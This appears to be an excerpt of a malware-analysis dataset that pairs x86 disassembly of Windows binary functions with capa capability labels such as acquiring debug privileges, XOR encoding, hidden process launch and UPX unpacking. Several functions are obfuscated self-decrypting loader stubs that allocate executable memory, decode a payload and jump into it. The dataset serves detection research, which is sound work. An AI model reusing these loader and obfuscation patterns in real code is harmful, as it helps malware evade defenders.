joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54d550
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x28
call dword [0x5df528]
push eax
call dword [0x5df7c0]
test eax, eax
jne 0x54d576
xor eax, eax
jmp 0x54d59f
mov ecx, dword [ebp + 8]
push ecx
push 0x5bd5f8
mov edx, dword [ebp - 4]
push edx
call fcn.0054d480
test eax, eax
jne 0x54d59a
mov eax, dword [ebp - 4]
push eax
call dword [0x5df4d8]
xor eax, eax
jmp 0x54d59f
mov eax, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40345b
pop dword [ebp - 0x44]
mov eax, 0x1634b77
sub eax, 0x123171c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x1cbc2841
sub dword [ebp - 0x54], 0xce69e2f6
mov dword [ebp - 0x50], 0xf7981b02
add dword [ebp - 0x50], 0x3a9b3143
mov dword [ebp - 0x4c], 0x527419bf
add dword [ebp - 0x4c], 0xf9d82a6f
mov dword [ebp - 0x48], 0xd914e3d4
add dword [ebp - 0x48], 0x26eb1c2c
lea eax, [ebp - 0x54]
push eax
mov eax, 0xdaab6a93
sub eax, 0xda6b2a3f
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5d23da82
add dword [ebp - 0x54], 0x174e8ed4
mov dword [ebp - 0x50], 0x257ec830
sub dword [ebp - 0x50], 0xe41266bb
mov dword [ebp - 0x4c], 0xd67826f7
sub dword [ebp - 0x4c], 0x7308ba8b
mov dword [ebp - 0x48], 0xfe581b86
add dword [ebp - 0x48], 0x1a7e47a
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3563f
push 0
call eax
mov ecx, 0x421a
xor edi, edi
add edi, eax
mov ebx, 0xfc32fac3
add ebx, 0x40d893d
add ebx, dword [ebp - 0x44]
mov edx, 0xf3c1713
sub dword [ebp - 0x38], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x34], ebx
xor esi, edx
xor dword [ebp - 0xc], 0x17a610e5
mov dword [edi], esi
add edi, 0xe2a9682e
sub edi, 0xe2a9682a
add ebx, 4
loop 0x40356e
add eax, 0x77a47f97
sub eax, 0x77a3845c
mov ebx, eax
add eax, 0x485964a0
add eax, 0xb7a69b65
mov ecx, 0xab8582a5
sub ecx, 0xab4582a5
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x700eed6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x700eee5
pop dword [ebp - 0x28]
mov eax, 0x8c744a2
sub eax, 0x1c655bd
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x1067552
add dword [ebp - 0x38], 0x4d4bcff9
mov dword [ebp - 0x34], 0xbacbca17
sub dword [ebp - 0x34], 0x88987dd2
mov dword [ebp - 0x30], 0x1d5f4fe
sub dword [ebp - 0x30], 0xb589b0d0
mov dword [ebp - 0x2c], 0x78112aa5
add dword [ebp - 0x2c], 0x87eed55b
lea eax, [ebp - 0x38]
push eax
mov eax, 0xaddd388b
sub eax, 0xa6dc085b
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x632a91c9
add dword [ebp - 0x38], 0x1147d78d
mov dword [ebp - 0x34], 0xde57633f
sub dword [ebp - 0x34], 0x9ceb01ca
mov dword [ebp - 0x30], 0xc5f49338
sub dword [ebp - 0x30], 0x628526cc
mov dword [ebp - 0x2c], 0xa2310b46
add dword [ebp - 0x2c], 0x5dcef4ba
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa2a783e6
sub eax, 0x9ba653b2
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3c37a
push 0
call eax
mov ecx, 0xb7184b73
sub ecx, 0xb717fcc8
xor ebx, ebx
add ebx, eax
mov edx, 0x7020200
add edx, dword [ebp - 0x28]
mov edi, 0x67b08376
sub edi, 0x682e45b3
mov esi, dword [edx]
xor dword [ebp - 0x24], 0x8a329663
add esi, edi
mov dword [ebx], esi
add dword [ebp - 0x20], 0x8b383260
add ebx, 4
add edx, 0xcd80f9de
sub edx, 0xcd80f9da
loop 0x700f003
add eax, 0x12d7f
mov ebx, eax
add eax, 0xe31a72ac
add eax, 0x1ce58d59
mov ecx, 0xce476685
sub ecx, 0xc7476685
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4023be
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffff7c0
mov ebx, eax
mov al, byte [0x40d96c]
test al, al
mov byte [esp], dl
lea esi, [esp + 4]
je 0x4023fa
xor edx, edx
mov dl, al
cmp edx, 0x20
je 0x4023ee
mov edx, 0x40c116
mov eax, ebx
call fcn.00406c28
mov edx, 0x40d96c
mov eax, ebx
call fcn.00406c28
mov eax, esi
mov ecx, 0x3c
xor edx, edx
call fcn.00406a78
mov dword [esi], 0x3c
xor eax, eax
mov dword [esi + 4], 0x5c0
mov al, byte [ebx]
cmp eax, 0x22
jne 0x402423
lea edx, [ebx + 1]
jmp 0x402425
mov edx, ebx
mov dword [esi + 0x10], edx
xor eax, eax
jmp 0x402476
xor ecx, ecx
mov cl, dl
cmp ecx, 0x22
jne 0x40244e
jmp 0x402447
xor edx, edx
mov dl, byte [ebx + eax]
cmp edx, 0x22
jne 0x402447
mov byte [ebx + eax], 0x20
jmp 0x40244e
inc eax
cmp byte [ebx + eax], 0
jne 0x402437
xor edx, edx
mov dl, byte [ebx + eax]
cmp edx, 0x20
je 0x402463
xor ecx, ecx
mov cl, byte [ebx + eax + 1]
cmp ecx, 0x2f
jne 0x402475
cmp edx, 0x20
jne 0x40246c
mov byte [ebx + eax], 0
lea eax, [eax + ebx + 1]
mov dword [esi + 0x14], eax
jmp 0x40247d
inc eax
mov dl, byte [ebx + eax]
test dl, dl
jne 0x40242c
mov dword [esi + 0x1c], 1
mov eax, dword [esi + 0x10]
call fcn.004057d0
mov edi, eax
test edi, edi
je 0x4024a9
mov edx, str..inf
mov eax, edi
call fcn.00406bdc
test eax, eax
jne 0x4024a9
mov dword [esi + 0xc], 0x40c1e7
xor edx, edx
mov eax, dword [esi + 0x10]
call fcn.00405cd0
mov byte [esp + 1], al
cmp byte [esp + 1], 0
je 0x4024d1
lea edx, [esp + 0x40]
mov eax, dword [esi + 0x10]
call fcn.00405d64
lea ecx, [esp + 0x40]
mov dword [esi + 0x10], ecx
cmp byte [esp], 0
je 0x402514
cmp byte [esp + 1], 0
jne 0x402514
lea eax, [esp + 0x440]
mov edx, dword [esi + 0x10]
call fcn.00406b54
mov edx, str..exe
lea eax, [esp + 0x440]
call fcn.00406c28
lea eax, [esp + 0x440]
xor edx, edx
call fcn.00405cd0
test al, al
je 0x4025fc
push esi
call sub.SHELL32.DLL_ShellExecuteExA
test eax, eax
setne al
and eax, 1
test al, al
jne 0x40253e
and dword [esi + 4], 0xfffffbff
mov dword [esi + 0x10], ebx
push esi
call sub.SHELL32.DLL_ShellExecuteExA
test eax, eax
setne al
and eax, 1
test al, al
je 0x4025fc
cmp byte [0x40c044], 0
jne 0x402555
cmp byte [esp], 0
je 0x4025ad
mov ebx, dword [0x40cc94]
test ebx, ebx
je 0x402569
push ebx
call sub.USER32.DLL_IsWindowVisible
test eax, eax
jne 0x40256d
xor eax, eax
jmp 0x402572
mov eax, 1
mov ebx, eax
test ebx, ebx
je 0x402585
push 0
push dword [0x40cc94]
call sub.USER32.DLL_ShowWindow
push 0x7d0
push dword [esi + 0x38]
call sub.USER32.DLL_WaitForInputIdle
push 0xffffffffffffffff
push dword [esi + 0x38]
call sub.KERNEL32.DLL_WaitForSingleObject
test ebx, ebx
je 0x4025ad
push 1
push dword [0x40cc94]
call sub.USER32.DLL_ShowWindow
push dword [esi + 0x38]
call sub.KERNEL32.DLL_CloseHandle
test edi, edi
je 0x4025c9
mov edx, str..exe
mov eax, edi
call fcn.00406bdc
test eax, eax
je 0x4025fc
cmp byte [0x40c044], 0
je 0x4025e4
cmp byte [esp], 0
jne 0x4025e4
push 0x1b58
call sub.KERNEL32.DLL_Sleep
jmp 0x4025fc
cmp byte [esp], 0
je 0x4025f1
mov edx, 0xc8
jmp 0x4025f6
mov edx, 0x3e8
push edx
call sub.KERNEL32.DLL_Sleep
add esp, 0x840
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x403203
pop dword [ebp - 0x38]
mov eax, 0x403203
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xd596e6c0
add dword [ebp - 0x48], 0x78bb5e8b
mov dword [ebp - 0x44], 0xeca5a2fe
add dword [ebp - 0x44], 0x458da947
mov dword [ebp - 0x40], 0x6efa0d36
sub dword [ebp - 0x40], 0x22adc908
mov dword [ebp - 0x3c], 0x228a7c66
add dword [ebp - 0x3c], 0xdd75839a
lea eax, [ebp - 0x48]
push eax
mov eax, 0x29969dbf
sub eax, 0x29561d33
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xa42264bc
sub dword [ebp - 0x48], 0x2faffb66
mov dword [ebp - 0x44], 0x54140d0e
add dword [ebp - 0x44], 0xed585467
mov dword [ebp - 0x40], 0xd98e9da3
sub dword [ebp - 0x40], 0x761f3137
mov dword [ebp - 0x3c], 0x67d7f5c1
sub dword [ebp - 0x3c], 0x67d7f5c1
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xece6c1b0
add eax, 0x1359bf24
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1ed
push 0
call eax
mov ecx, 0x23821434
sub ecx, 0x2381be19
xor edi, edi
add edi, eax
mov edx, 0xe9d6a60c
add edx, 0x166a69f4
add edx, dword [ebp - 0x38]
mov esi, 0x9b36ef2a
sub esi, 0xf99a041b
xor dword [ebp - 4], ecx
mov ebx, dword [edx]
add dword [ebp - 0x34], esi
add ebx, esi
add dword [ebp - 0x18], esi
mov dword [edi], ebx
add dword [ebp - 0x10], 0xa7aa7003
add edi, 0xaad2905c
sub edi, 0xaad29058
add edx, 4
loop 0x403322
add eax, 0xd5295fe7
add eax, 0x2ad7eb58
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe3e8fd0a
sub ecx, 0xe3a8fd0a
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x402cd0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403e74
test esi, esi
jne 0x402d07
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00403f64
jmp 0x402d28
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402b6c
mov dword [esp], eax
test esi, esi
je 0x402d28
cmp dword [ebx], 0
je 0x402d28
dec esi
jmp 0x402d0f
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403228
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x416020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4032c0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4032a0
xor eax, eax
push ebp
push 0x403299
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4032dc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4032a0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x416020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x416020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cf0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x417044], 0
je 0x403d51
cmp word [0x417218], 0xd7b2
jne 0x403d19
cmp dword [0x417220], 0
jbe 0x403d19
mov eax, 0x417214
call dword [0x417230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x416068
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d78
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41602c], 0
jne 0x403d6d
push 0
push 0x416060
push 0x416068
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405910
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405976
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004040e4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402e1c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405960
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40597d
lea eax, [ebp - 0x10]
call fcn.00403e74
ret

Function at 0x409d20
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409d59
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f64
jmp 0x409d62
mov eax, ebx
mov edx, esi
call fcn.00403ec8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409d6c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409d8d
mov al, byte [esp]
jmp 0x409d8f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a424
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40a28c
mov eax, dword [0x416888]
cmp byte [eax], 0
je 0x40a4a0
mov eax, dword [0x416770]
call fcn.00402d98
call fcn.00402a98
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407648
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a4e8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a4d6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x416748]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x417660]
call fcn.00404db8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b22c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b290
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004040e4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407130
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b297
lea eax, [ebp - 0xc]
call fcn.00403e74
ret

Function at 0x413194
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404310
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x4131ec
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x41691c]
mov dl, 1
mov eax, dword [0x412c70]
call fcn.0040a5e4
call fcn.004038ac
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00412d78
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4f2a10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb0000]
push edi
or ebp, 0xffffffff
jmp 0x4f2a32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4f2a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f2a28
mov eax, 1
add ebx, ebx
jne 0x4f2a4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4f2a5c
jne 0x4f2a7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f2a7b
dec eax
add ebx, ebx
jne 0x4f2a68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4f2a40
add ebx, ebx
jne 0x4f2a77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4f2acd
xor ecx, ecx
sub eax, 3
jb 0x4f2a93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4f2b02
sar eax, 1
mov ebp, eax
jmp 0x4f2a9e
add ebx, ebx
jne 0x4f2a9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f2a6c
inc ecx
add ebx, ebx
jne 0x4f2aac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f2a6c
add ebx, ebx
jne 0x4f2ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4f2aae
jne 0x4f2aca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4f2aae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4f2aec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4f2ade
jmp 0x4f2a2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4f2aec
add edi, ecx
jmp 0x4f2a2e
pop esi
mov edi, esi
mov ecx, 0x4341
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4f2b0a
cmp byte [edi], 0x14
jne 0x4f2b0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4f2b0f
lea edi, [esi + 0xef000]
mov eax, dword [edi]
or eax, eax
je 0x4f2b7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf2e3c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf2ef0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4f2b3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf2ef4]
or eax, eax
je 0x4f2b78
mov dword [ebx], eax
add ebx, 4
jmp 0x4f2b59
call dword [esi + 0xf2efc]
mov ebp, dword [esi + 0xf2ef8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4f2bb2
sub esp, 0xffffff80
jmp 0x4948ac
Function at 0x406760
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406784
xor eax, eax
test eax, eax
je 0x406797
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406797
xor ecx, ecx
jmp 0x40679a
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4068bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dac], 0
push esi
jne 0x4068f4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4068ce
mov dword [ecx*4 + 0x427da8], eax
inc ecx
cmp ecx, 0x100
jl 0x4068c9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406925
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427da8]
xor eax, esi
inc ecx
dec edx
jne 0x406907
pop edi
not eax
pop esi
ret 0xc

Function at 0x401471
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edi, dword [0x40c050]
cdq
or di, 1
idiv edi
mov edx, dword [0x40c050]
mov ebx, esi
add edx, eax
mov eax, 0x40c054
call fcn.004013ba
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x401e7b
push eax
sub edi, fcn.00401646
push edi
push fcn.00401646
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x4014e7
mov eax, fcn.00401646
mov ebx, esi
mov edx, edi
call fcn.004013ba
mov edx, 0x1b600
mov eax, 0x40c054
mov ebx, esi
call fcn.0040127e
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401595
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x144, 0
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
mov dword [ebp - 0x24], 6
xor eax, eax
push 0x7f00
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], eax
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.DLL_LoadCursorA]
push 0x7f00
push 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.DLL_LoadIconA]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_RegisterClassA]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.DLL_LoadAcceleratorsA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 4], 0x14
mov byte [ebp - 0x144], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringW]
movzx ebx, word [ebp - 0x18]
call dword [sym.imp.OLE32.DLL_CoUninitialize]
lea eax, [ebx - 0x41]
leave
pop edx
pop ecx
pop ebx
ret
Function at 0x100097d1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100205e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call fcn.1000a2af
test eax, eax
je 0x100098e6
xor ebx, ebx
mov dword [ebp - 0x214], 0x104
push ebx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.shlwapi.dll_PathCreateFromUrlW]
test eax, eax
js 0x100098e6
push ebx
push 0x80
push 3
push ebx
inc ebx
lea eax, [ebp - 0x20c]
push ebx
push SysReAllocStringLen
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100098e6
push 0
lea eax, [ebp - 0x218]
push eax
push 4
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.kernel32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100098e6
cmp dword [ebp - 0x218], 4
jne 0x100098e6
push 3
lea eax, [ebp - 0x210]
push 0x10018620
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x100098b0
push 3
lea eax, [ebp - 0x210]
push 0x10018624
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x100098b0
mov al, bl
jmp 0x100098e8
xor eax, eax
push eax
push eax
push eax
movsx ax, byte [ebp - 0x20d]
movzx eax, ax
push eax
call fcn.100099f9
mov ecx, dword [0x10021678]
add esp, 0x10
mov edi, eax
mov esi, edx
call fcn.100099f9
cmp edx, esi
jb 0x100098e2
ja 0x100098ac
cmp eax, edi
jae 0x100098ac
xor bl, bl
jmp 0x100098ac
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10013d40
leave
ret 4

Function at 0x100099f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10009a08
pop dword [ebp - 0x44]
mov eax, 0x49286d31
add eax, 0xc6d82cd7
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x40572
push 0
mov eax, 0xc3f0a92c
sub eax, 0xb3ef37ec
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x6079
mov edi, eax
mov edx, 0x10025400
add edx, dword [ebp - 0x44]
mov esi, 0xa0f83510
sub esi, 0x22f0f563
mov dword [ebp - 0x40], 0x126b64e
mov ebx, dword [edx]
sub dword [ebp - 0x18], esi
xor ebx, esi
add dword [ebp - 0x18], 0x30d104e9
mov dword [edi], ebx
add dword [ebp - 0xc], 0xd79e6091
add edi, 0x9762fc46
sub edi, 0x9762fc42
add edx, 0x4339a53b
add edx, 0xbcc65ac9
loop 0x10009a5b
add eax, 0x174b7
mov ebx, eax
add eax, 0x6125dab3
add eax, 0x9eda2552
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret